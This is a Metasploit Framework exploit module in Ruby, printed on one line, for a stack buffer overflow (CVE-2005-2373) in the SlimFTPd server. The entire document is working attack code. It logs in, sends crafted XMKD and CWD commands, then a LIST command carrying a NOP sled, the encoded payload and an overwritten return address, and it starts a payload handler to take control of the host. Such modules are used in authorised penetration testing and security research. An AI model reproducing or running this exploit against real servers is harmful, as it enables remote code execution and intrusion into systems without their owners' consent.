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## # $Id: slimftpd_list_concat.rb 10559 2010-10-05 23:41:17Z jduck $ ## ## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Ftp def initialize(info = {}) super(update_info(info, 'Name' => 'SlimFTPd LIST Concatenation Overflow', 'Description'=> %q{ This module exploits a stack buffer overflow in the SlimFTPd server. The flaw is triggered when a LIST command is received with an overly-long argument. This vulnerability affects all versions of SlimFTPd prior to 3.16 and was discovered by Raphael Rigo. }, 'Author' => [ 'Fairuzan Roslan <riaf [at] mysec.org>' ], 'License'=> BSD_LICENSE, 'Version'=> '$Revision: 10559 $', 'References' => [ [ 'CVE', '2005-2373'], [ 'OSVDB', '18172'], [ 'BID', '14339'], ], 'Privileged' => false, 'Payload'=> { 'Space'=> 490, 'BadChars' => "\x00\x0a\x0d\x20\x5c\x2f", 'StackAdjustment' => -3500, }, 'Platform' => [ 'win' ], 'Targets'=> [ [ 'SlimFTPd Server <= 3.16 Universal', { 'Ret'=> 0x0040057d, }, ], ], 'DisclosureDate' => 'Jul 21 2005', 'DefaultTarget' => 0)) end def exploit connect_login print_status("Trying target #{target.name}...") buf= make_nops(511) buf[10, payload.encoded.length] = payload.encoded buf[507, 4] = [ target.ret ].pack('V') send_cmd( ['XMKD', '41414141'], true ); send_cmd( ['CWD', '41414141'], true ); send_cmd( ['LIST', buf], false ) handler disconnect end end |
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